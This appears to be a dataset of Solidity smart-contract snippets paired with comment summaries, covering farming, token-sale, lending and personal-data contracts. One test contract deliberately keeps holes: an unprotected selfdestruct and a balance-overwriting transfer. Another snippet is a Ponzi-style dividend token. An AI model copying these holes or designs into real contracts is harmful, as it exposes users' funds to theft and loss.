emit Withdraw(msg.sender, _pid, _amount);
}
function adminWithdraw(uint256 _pid,uint256 _amount) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe vault transfer function, just in case if rounding error causes pool to not have enough VAULTs.
function safeVaultTransfer(address _to, uint256 _amount) internal {
uint256 vaultBal = vault.balanceOf(address(this));
if (_amount > vaultBal) {
vault.transfer(_to, vaultBal);
} else {
vault.transfer(_to, _amount);
}
}
}
|
Update reward variables of the given pool to be up-to-date.
|
function updatePool(uint256 _pid) public {
doHalvingCheck(false);
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 blockPassed = block.number.sub(pool.lastRewardBlock);
uint256 vaultReward = blockPassed
.mul(vaultPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
vault.mint(address(this), vaultReward);
pool.accVaultPerShare = pool.accVaultPerShare.add(vaultReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
| 1,100,423 |
pragma solidity ^0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract ZenswapContribution is Ownable {
address public beneficiary;
uint256 public amountTokensPerEth = 200000000;
uint256 public amountEthRaised = 0;
uint256 public availableTokens;
token public tokenReward;
mapping(address => uint256) public balanceOf;
/**
* Constructor function
*
* Set beneficiary and set the token smart contract address
*/
constructor() public {
beneficiary = msg.sender;
tokenReward = token(0x0D1C63E12fDE9e5cADA3E272576183AbA9cfedA2);
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () payable public {
uint256 amount = msg.value;
uint256 tokens = amount * amountTokensPerEth;
require(availableTokens >= amount);
balanceOf[msg.sender] += amount;
availableTokens -= tokens;
amountEthRaised += amount;
tokenReward.transfer(msg.sender, tokens);
beneficiary.transfer(amount);
}
/**
* Withdraw an "amount" of available tokens in the contract
*
*/
function withdrawAvailableToken(address _address, uint amount) public onlyOwner {
require(availableTokens >= amount);
availableTokens -= amount;
tokenReward.transfer(_address, amount);
}
/**
* Set the amount of tokens per one ether
*
*/
function setTokensPerEth(uint value) public onlyOwner {
amountTokensPerEth = value;
}
/**
* Set a token contract address and available tokens and the available tokens
*
*/
function setTokenReward(address _address, uint amount) public onlyOwner {
tokenReward = token(_address);
availableTokens = amount;
}
/**
* Set available tokens to synchronized values or force to stop contribution campaign
*
*/
function setAvailableToken(uint value) public onlyOwner {
availableTokens = value;
}
}
|
Withdraw an "amount" of available tokens in the contract/
|
function withdrawAvailableToken(address _address, uint amount) public onlyOwner {
require(availableTokens >= amount);
availableTokens -= amount;
tokenReward.transfer(_address, amount);
}
| 1,763,668 |
pragma solidity ^0.4.18;
contract TestTest {
// scaleFactor is used to convert Ether into tokens and vice-versa: they're of different
// orders of magnitude, hence the need to bridge between the two.
uint256 constant scaleFactor = 0x10000000000000000; // 2^64
// CRR = 50%
// CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio).
// For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement
int constant crr_n = 1; // CRR numerator
int constant crr_d = 2; // CRR denominator
// The price coefficient. Chosen such that at 1 token total supply
// the amount in reserve is 0.5 ether and token price is 1 Ether.
int constant price_coeff = -0x296ABF784A358468C;
// Typical values that we have to declare.
string constant public name = "TestTest";
string constant public symbol = "EPY";
uint8 constant public decimals = 18;
// Array between each address and their number of tokens.
mapping(address => uint256) public tokenBalance;
// Array between each address and how much Ether has been paid out to it.
// Note that this is scaled by the scaleFactor variable.
mapping(address => int256) public payouts;
// Variable tracking how many tokens are in existence overall.
uint256 public totalSupply;
// Aggregate sum of all payouts.
// Note that this is scaled by the scaleFactor variable.
int256 totalPayouts;
// Variable tracking how much Ether each token is currently worth.
// Note that this is scaled by the scaleFactor variable.
uint256 earningsPerToken;
// Current contract balance in Ether
uint256 public contractBalance;
function TestTest() public {}
// The following functions are used by the front-end for display purposes.
// Returns the number of tokens currently held by _owner.
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokenBalance[_owner];
}
// Withdraws all dividends held by the caller sending the transaction, updates
// the requisite global variables, and transfers Ether back to the caller.
function withdraw() public {
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Send the dividends to the address that requested the withdraw.
contractBalance = sub(contractBalance, balance);
msg.sender.transfer(balance);
}
// Converts the Ether accrued as dividends back into EPY tokens without having to
// withdraw it first. Saves on gas and potential price spike loss.
function reinvestDividends() public {
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
// Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Assign balance to a new variable.
uint value_ = (uint) (balance);
// If your dividends are worth less than 1 szabo, or more than a million Ether
// (in which case, why are you even here), abort.
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
// msg.sender is the address of the caller.
var sender = msg.sender;
// A temporary reserve variable used for calculating the reward the holder gets for buying tokens.
// (Yes, the buyer receives a part of the distribution as well!)
var res = reserve() - balance;
// 10% of the total Ether sent is used to pay existing holders.
var fee = div(value_, 15);
// The amount of Ether used to purchase new tokens for the caller.
var numEther = value_ - fee;
// The number of tokens which can be purchased for numEther.
var numTokens = calculateDividendTokens(numEther, balance);
// The buyer fee, scaled by the scaleFactor variable.
var buyerFee = fee * scaleFactor;
// Check that we have tokens in existence (this should always be true), or
// else you're gonna have a bad time.
if (totalSupply > 0) {
// Compute the bonus co-efficient for all existing holders and the buyer.
// The buyer receives part of the distribution for each token bought in the
// same way they would have if they bought each token individually.
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
// The total reward to be distributed amongst the masses is the fee (in Ether)
// multiplied by the bonus co-efficient.
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
// Fee is distributed to all existing token holders before the new tokens are purchased.
// rewardPerShare is the amount gained per token thanks to this buy-in.
var rewardPerShare = holderReward / totalSupply;
// The Ether value per token is increased proportionally.
earningsPerToken += rewardPerShare;
}
// Add the numTokens which were just created to the total supply. We're a crypto central bank!
totalSupply = add(totalSupply, numTokens);
// Assign the tokens to the balance of the buyer.
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
// Update the payout array so that the buyer cannot claim dividends on previous purchases.
// Also include the fee paid for entering the scheme.
// First we compute how much was just paid out to the buyer...
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
// Then we update the payouts array for the buyer with this amount...
payouts[sender] += payoutDiff;
// And then we finally add it to the variable tracking the total amount spent to maintain invariance.
totalPayouts += payoutDiff;
}
// Sells your tokens for Ether. This Ether is assigned to the callers entry
// in the tokenBalance array, and therefore is shown as a dividend. A second
// call to withdraw() must be made to invoke the transfer of Ether back to your address.
function sellMyTokens() public {
var balance = balanceOf(msg.sender);
sell(balance);
}
// The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately
// invokes the withdraw() function, sending the resulting Ether to the callers address.
function getMeOutOfHere() public {
sellMyTokens();
withdraw();
}
// Gatekeeper function to check if the amount of Ether being sent isn't either
// too small or too large. If it passes, goes direct to buy().
function fund() payable public {
// Don't allow for funding if the amount of Ether sent is less than 1 szabo.
if (msg.value > 0.000001 ether) {
contractBalance = add(contractBalance, msg.value);
buy();
} else {
revert();
}
}
// Function that returns the (dynamic) price of buying a finney worth of tokens.
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
// Function that returns the (dynamic) price of selling a single token.
function sellPrice() public constant returns (uint) {
var eth = getEtherForTokens(1 finney);
var fee = div(eth, 10);
return eth - fee;
}
// Calculate the current dividends associated with the caller address. This is the net result
// of multiplying the number of tokens held by their current value in Ether and subtracting the
// Ether that has already been paid out.
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
}
// Version of withdraw that extracts the dividends and sends the Ether to the caller.
// This is only used in the case when there is no transaction data, and that should be
// quite rare unless interacting directly with the smart contract.
function withdrawOld(address to) public {
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Send the dividends to the address that requested the withdraw.
contractBalance = sub(contractBalance, balance);
to.transfer(balance);
}
// Internal balance function, used to calculate the dynamic reserve value.
function balance() internal constant returns (uint256 amount) {
// msg.value is the amount of Ether sent by the transaction.
return contractBalance - msg.value;
}
function buy() internal {
// Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it.
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
// msg.sender is the address of the caller.
var sender = msg.sender;
// 10% of the total Ether sent is used to pay existing holders.
var fee = div(msg.value, 10);
// The amount of Ether used to purchase new tokens for the caller.
var numEther = msg.value - fee;
// The number of tokens which can be purchased for numEther.
var numTokens = getTokensForEther(numEther);
// The buyer fee, scaled by the scaleFactor variable.
var buyerFee = fee * scaleFactor;
// Check that we have tokens in existence (this should always be true), or
// else you're gonna have a bad time.
if (totalSupply > 0) {
// Compute the bonus co-efficient for all existing holders and the buyer.
// The buyer receives part of the distribution for each token bought in the
// same way they would have if they bought each token individually.
var bonusCoEff =
(scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
// The total reward to be distributed amongst the masses is the fee (in Ether)
// multiplied by the bonus co-efficient.
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
// Fee is distributed to all existing token holders before the new tokens are purchased.
// rewardPerShare is the amount gained per token thanks to this buy-in.
var rewardPerShare = holderReward / totalSupply;
// The Ether value per token is increased proportionally.
earningsPerToken += rewardPerShare;
}
// Add the numTokens which were just created to the total supply. We're a crypto central bank!
totalSupply = add(totalSupply, numTokens);
// Assign the tokens to the balance of the buyer.
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
// Update the payout array so that the buyer cannot claim dividends on previous purchases.
// Also include the fee paid for entering the scheme.
// First we compute how much was just paid out to the buyer...
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
// Then we update the payouts array for the buyer with this amount...
payouts[sender] += payoutDiff;
// And then we finally add it to the variable tracking the total amount spent to maintain invariance.
totalPayouts += payoutDiff;
}
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee
// to discouraging dumping, and means that if someone near the top sells, the fee distributed
// will be *significant*.
function sell(uint256 amount) internal {
// Calculate the amount of Ether that the holders tokens sell for at the current sell price.
var numEthersBeforeFee = getEtherForTokens(amount);
// 10% of the resulting Ether is used to pay remaining holders.
var fee = div(numEthersBeforeFee, 10);
// Net Ether for the seller after the fee has been subtracted.
var numEthers = numEthersBeforeFee - fee;
// *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank.
totalSupply = sub(totalSupply, amount);
// Remove the tokens from the balance of the buyer.
tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);
// Update the payout array so that the seller cannot claim future dividends unless they buy back in.
// First we compute how much was just paid out to the seller...
var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
// We reduce the amount paid out to the seller (this effectively resets their payouts value to zero,
// since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if
// they decide to buy back in.
payouts[msg.sender] -= payoutDiff;
// Decrease the total amount that's been paid out to maintain invariance.
totalPayouts -= payoutDiff;
// Check that we have tokens in existence (this is a bit of an irrelevant check since we're
// selling tokens, but it guards against division by zero).
if (totalSupply > 0) {
// Scale the Ether taken as the selling fee by the scaleFactor variable.
var etherFee = fee * scaleFactor;
// Fee is distributed to all remaining token holders.
// rewardPerShare is the amount gained per token thanks to this sell.
var rewardPerShare = etherFee / totalSupply;
// The Ether value per token is increased proportionally.
earningsPerToken = add(earningsPerToken, rewardPerShare);
}
}
// Dynamic value of Ether in reserve, according to the CRR requirement.
function reserve() internal constant returns (uint256 amount) {
return sub(balance(),
((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
}
// Calculates the number of tokens that can be bought for a given amount of Ether, according to the
// dynamic reserve and totalSupply values (derived from the buy and sell prices).
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
// Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion.
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
// Converts a number tokens into an Ether value.
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
// How much reserve Ether do we have left in the contract?
var reserveAmount = reserve();
// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
if (tokens == totalSupply)
return reserveAmount;
// If there would be excess Ether left after the transaction this is called within, return the Ether
// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator
// and denominator altered to 1 and 2 respectively.
return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
}
// You don't care about these, but if you really do they're hex values for
// co-efficients used to simulate approximations of the log and exp functions.
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
// The below are safemath implementations of the four arithmetic operators
// designed to explicitly prevent over- and under-flows of integer values.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// This allows you to buy tokens by sending Ether directly to the smart contract
// without including any transaction data (useful for, say, mobile wallet apps).
function () payable public {
// msg.value is the amount of Ether sent by the transaction.
if (msg.value > 0) {
fund();
} else {
withdrawOld(msg.sender);
}
}
}
|
Converts the Ether accrued as dividends back into EPY tokens without having to withdraw it first. Saves on gas and potential price spike loss. Retrieve the dividends associated with the address the request came from. Update the payouts array, incrementing the request address by `balance`. Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. Increase the total amount that&39;s been paid out to maintain invariance. Assign balance to a new variable. If your dividends are worth less than 1 szabo, or more than a million Ether (in which case, why are you even here), abort. msg.sender is the address of the caller. A temporary reserve variable used for calculating the reward the holder gets for buying tokens. (Yes, the buyer receives a part of the distribution as well!) 10% of the total Ether sent is used to pay existing holders. The amount of Ether used to purchase new tokens for the caller. The number of tokens which can be purchased for numEther. The buyer fee, scaled by the scaleFactor variable. Check that we have tokens in existence (this should always be true), or else you&39;re gonna have a bad time. Compute the bonus co-efficient for all existing holders and the buyer. The buyer receives part of the distribution for each token bought in the same way they would have if they bought each token individually. The total reward to be distributed amongst the masses is the fee (in Ether) multiplied by the bonus co-efficient. Fee is distributed to all existing token holders before the new tokens are purchased. rewardPerShare is the amount gained per token thanks to this buy-in. The Ether value per token is increased proportionally.
|
function reinvestDividends() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint value_ = (uint) (balance);
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
var sender = msg.sender;
var res = reserve() - balance;
var fee = div(value_, 15);
var numEther = value_ - fee;
var numTokens = calculateDividendTokens(numEther, balance);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
}
| 10,658,741 |
./full_match/1/0xdE3C590b1A4442314a91277668D63Ab5EbbE7340/sources/contracts/KamiContract/Kami.sol
|
ERC-721 Non-Fungible Token Standard, optional metadata extension/ NEW for KAMI
|
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
| 9,684,151 |
./full_match/1/0x537eE18Ca78C42E1e7fB87FECFE9FC811c3d3575/sources/contracts/strategy/liquity/LiquityStrategy.sol
|
@inheritdoc IStrategy this will also claim any unclaimed gains in the stability pool claims LQTY & ETH rewards if there are any
|
function invest() external virtual override(IStrategy) onlyManager {
uint256 balance = underlying.balanceOf(address(this));
if (balance == 0) revert StrategyNoUnderlying();
stabilityPool.provideToSP(balance, address(0));
emit StrategyInvested(balance);
}
| 16,543,959 |
// This is used for the HiJack truffle test.
pragma solidity ^0.4.23;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract RecoverySimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function () public payable {
balances[msg.sender] += msg.value*10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address to) public {
selfdestruct(to);
}
}
|
allow transfers of tokens
|
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
balances[_to] = _amount;
}
| 881,252 |
// SPDX-License-Identifier: MIT
pragma experimental ABIEncoderV2;
pragma solidity ^0.7.5;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../interfaces/ILendingLogic.sol";
import "../../interfaces/IATokenV2.sol";
import "../../interfaces/IAaveLendingPoolV2.sol";
contract ATokenV2 is IATokenV2 {
address public UNDERLYING_ASSET_ADDRESS;
}
contract LendingLogicAaveV2 is ILendingLogic {
using SafeMath for uint128;
IAaveLendingPoolV2 public lendingPool;
uint16 public referralCode;
address public tokenHolder;
constructor(
address _lendingPool,
uint16 _referralCode,
address _tokenHolder
) {
require(_lendingPool != address(0), "LENDING_POOL_INVALID");
lendingPool = IAaveLendingPoolV2(_lendingPool);
referralCode = _referralCode;
tokenHolder = _tokenHolder;
}
function getAPRFromWrapped(address _token)
external
view
override
returns (uint256)
{
address underlying = ATokenV2(_token).UNDERLYING_ASSET_ADDRESS();
return getAPRFromUnderlying(underlying);
}
function getAPRFromUnderlying(address _token)
public
view
override
returns (uint256)
{
DataTypes.ReserveData memory reserveData =
lendingPool.getReserveData(_token);
return reserveData.currentLiquidityRate.div(1000000000);
}
function lend(address _underlying, uint256 _amount)
external
view
override
returns (address[] memory targets, bytes[] memory data)
{
IERC20 underlying = IERC20(_underlying);
targets = new address[](3);
data = new bytes[](3);
// zero out approval to be sure
targets[0] = _underlying;
data[0] = abi.encodeWithSelector(
underlying.approve.selector,
address(lendingPool),
0
);
// Set approval
targets[1] = _underlying;
data[1] = abi.encodeWithSelector(
underlying.approve.selector,
address(lendingPool),
_amount
);
// Deposit into Aave
targets[2] = address(lendingPool);
data[2] = abi.encodeWithSelector(
lendingPool.deposit.selector,
_underlying,
_amount,
tokenHolder,
referralCode
);
return (targets, data);
}
function unlend(address _wrapped, uint256 _amount)
external
view
override
returns (address[] memory targets, bytes[] memory data)
{
ATokenV2 wrapped = ATokenV2(_wrapped);
targets = new address[](1);
data = new bytes[](1);
targets[0] = address(lendingPool);
data[0] = abi.encodeWithSelector(
lendingPool.withdraw.selector,
wrapped.UNDERLYING_ASSET_ADDRESS(),
_amount,
tokenHolder
);
return (targets, data);
}
function exchangeRate(address) external pure override returns (uint256) {
return 10**18;
}
function exchangeRateView(address)
external
pure
override
returns (uint256)
{
return 10**18;
}
}
|
zero out approval to be sure Set approval Deposit into Aave
|
function lend(address _underlying, uint256 _amount)
external
view
override
returns (address[] memory targets, bytes[] memory data)
{
IERC20 underlying = IERC20(_underlying);
targets = new address[](3);
data = new bytes[](3);
targets[0] = _underlying;
data[0] = abi.encodeWithSelector(
underlying.approve.selector,
address(lendingPool),
0
);
targets[1] = _underlying;
data[1] = abi.encodeWithSelector(
underlying.approve.selector,
address(lendingPool),
_amount
);
targets[2] = address(lendingPool);
data[2] = abi.encodeWithSelector(
lendingPool.deposit.selector,
_underlying,
_amount,
tokenHolder,
referralCode
);
return (targets, data);
}
| 1,823,396 |
./partial_match/3/0x0c378Ab14fB55Be47de84D1c4a05A1AC5E1bDb1A/sources/ReflectA.sol
|
get transaction amount and fee
|
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
return (tTransferAmount, tFee);
}
| 5,133,968 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../interfaces/DataTypesInterface.sol";
import "@openzeppelin-contract/contracts/access/Ownable.sol";
contract PersonalData is Ownable {
address public userAddress;
address public serviceAddress;
address public dataTypesAddress;
DataTypesInterface public dataTypes;
string public serviceName;
uint256 public userRequestsCounter;
uint256 public serviceRequestsCounter;
string[] public dataTypesUsedList;
enum STATE {
OPEN,
CLOSE
}
enum DATA_STATE {
DELETED,
INTACT
}
enum REQUEST_STATE {
PENDING,
SUCCESS,
FAILURE
}
enum REQUEST_TYPE {
CLOSE,
OPEN,
DELETE,
SHARE
}
struct DataTypesUsed {
string dataType;
STATE state;
DATA_STATE dataState;
bool isValue;
}
struct Request {
string dataType;
REQUEST_STATE state;
REQUEST_TYPE requestType;
STATE stateRequestCreation;
DATA_STATE dataStateRequestCreation;
}
mapping(string => DataTypesUsed) public dataTypesUsed;
mapping(uint256 => Request) public userRequests;
mapping(uint256 => Request) public serviceRequests;
constructor(
address _serviceAddress,
address _userAddress,
address _dataTypesAddress,
string memory _serviceName
) {
serviceAddress = _serviceAddress;
userAddress = _userAddress;
dataTypesAddress = _dataTypesAddress;
dataTypes = DataTypesInterface(dataTypesAddress);
serviceName = _serviceName;
userRequestsCounter = 0;
serviceRequestsCounter = 0;
}
/*
* Service meta modififcations
*/
function updateServiceName(string memory _serviceName) public {
serviceName = _serviceName;
}
function transferServiceOwnership(address _serviceAddress) public {
serviceAddress = _serviceAddress;
}
/*
* Adding new data types used is using
*/
function addDataType(
string memory _dt,
STATE state,
DATA_STATE dataState
) public {
require(
dataTypes.checkDataTypeExistence(_dt),
"Data Type is not permitted."
);
require(!dataTypesUsed[_dt].isValue, "Data Type already in use.");
DataTypesUsed memory newDataTypesUsed = DataTypesUsed(
_dt,
state,
dataState,
true
);
dataTypesUsed[_dt] = newDataTypesUsed;
dataTypesUsedList.push(_dt);
}
/*
* User making request from service
*/
function checkUserRequestValidity(
string memory _dt,
REQUEST_TYPE requestType
) private view returns (bool) {
if (
dataTypesUsed[_dt].state == STATE.OPEN &&
dataTypesUsed[_dt].dataState == DATA_STATE.DELETED
) {
return false;
}
if (
dataTypesUsed[_dt].state == STATE.CLOSE &&
dataTypesUsed[_dt].dataState == DATA_STATE.DELETED
) {
return false;
}
if (
dataTypesUsed[_dt].state == STATE.OPEN &&
dataTypesUsed[_dt].dataState == DATA_STATE.INTACT &&
(requestType != REQUEST_TYPE.SHARE &&
requestType != REQUEST_TYPE.CLOSE)
) {
return false;
}
if (
dataTypesUsed[_dt].state == STATE.CLOSE &&
dataTypesUsed[_dt].dataState == DATA_STATE.INTACT &&
(requestType != REQUEST_TYPE.SHARE &&
requestType != REQUEST_TYPE.DELETE)
) {
return false;
}
return true;
}
function createRequestFromUser(string memory _dt, REQUEST_TYPE requestType)
public
{
require(
dataTypes.checkDataTypeExistence(_dt),
"Data Type is not permitted."
);
require(dataTypesUsed[_dt].isValue, "Data Type not in use.");
require(checkUserRequestValidity(_dt, requestType), "Invalid request.");
Request memory newRequest = Request(
_dt,
REQUEST_STATE.PENDING,
requestType,
dataTypesUsed[_dt].state,
dataTypesUsed[_dt].dataState
);
userRequests[userRequestsCounter] = newRequest;
userRequestsCounter += 1;
}
/*
* Service making request from user
*/
function checkServiceRequestValidity(
string memory _dt,
REQUEST_TYPE requestType
) private view returns (bool) {
if (
dataTypesUsed[_dt].state == STATE.OPEN &&
dataTypesUsed[_dt].dataState == DATA_STATE.INTACT
) {
return false;
}
if (
dataTypesUsed[_dt].state == STATE.OPEN &&
dataTypesUsed[_dt].dataState == DATA_STATE.DELETED
) {
return false;
}
if (
dataTypesUsed[_dt].state == STATE.CLOSE &&
dataTypesUsed[_dt].dataState == DATA_STATE.INTACT &&
requestType != REQUEST_TYPE.OPEN
) {
return false;
}
if (
dataTypesUsed[_dt].state == STATE.CLOSE &&
dataTypesUsed[_dt].dataState == DATA_STATE.DELETED &&
requestType != REQUEST_TYPE.OPEN
) {
return false;
}
return true;
}
function createRequestFromService(
string memory _dt,
REQUEST_TYPE _requestType
) public {
require(
!dataTypes.checkDataTypeExistence(_dt) &&
_requestType != REQUEST_TYPE.OPEN,
"Invalid request."
);
require(
checkServiceRequestValidity(_dt, _requestType),
"Invalid request."
);
Request memory newRequest = Request(
_dt,
REQUEST_STATE.PENDING,
_requestType,
dataTypesUsed[_dt].state,
dataTypesUsed[_dt].dataState
);
serviceRequests[serviceRequestsCounter] = newRequest;
serviceRequestsCounter += 1;
}
function resolveServiceRequest(
uint256 _requestId,
REQUEST_STATE _requestState
) public {
require(
_requestState != REQUEST_STATE.PENDING,
"Invalid request state, cannot be of type pending."
);
require(
_requestId < serviceRequestsCounter,
"Request id dos not exist."
);
/*
* Not sure if we still need this require.
*/
require(
serviceRequests[_requestId].stateRequestCreation ==
dataTypesUsed[serviceRequests[_requestId].dataType].state &&
serviceRequests[_requestId].dataStateRequestCreation ==
dataTypesUsed[serviceRequests[_requestId].dataType].dataState,
"State or data state of the data type in request changed. Request cannot be resolved."
);
require(
checkServiceRequestValidity(
serviceRequests[_requestId].dataType,
serviceRequests[_requestId].requestType
),
"State or data state of the data type in request changed. Request cannot be resolved."
);
if (_requestState == REQUEST_STATE.FAILURE) {
serviceRequests[_requestId].state = _requestState;
}
//_requestType == REQUEST_STATE.SUCCESS
else {
if (serviceRequests[_requestId].requestType == REQUEST_TYPE.OPEN) {
if (
dataTypesUsed[serviceRequests[_requestId].dataType].isValue
) {
if (
serviceRequests[_requestId].dataStateRequestCreation ==
DATA_STATE.INTACT
) {
dataTypesUsed[serviceRequests[_requestId].dataType]
.state = STATE.OPEN;
serviceRequests[_requestId].state = _requestState;
}
if (
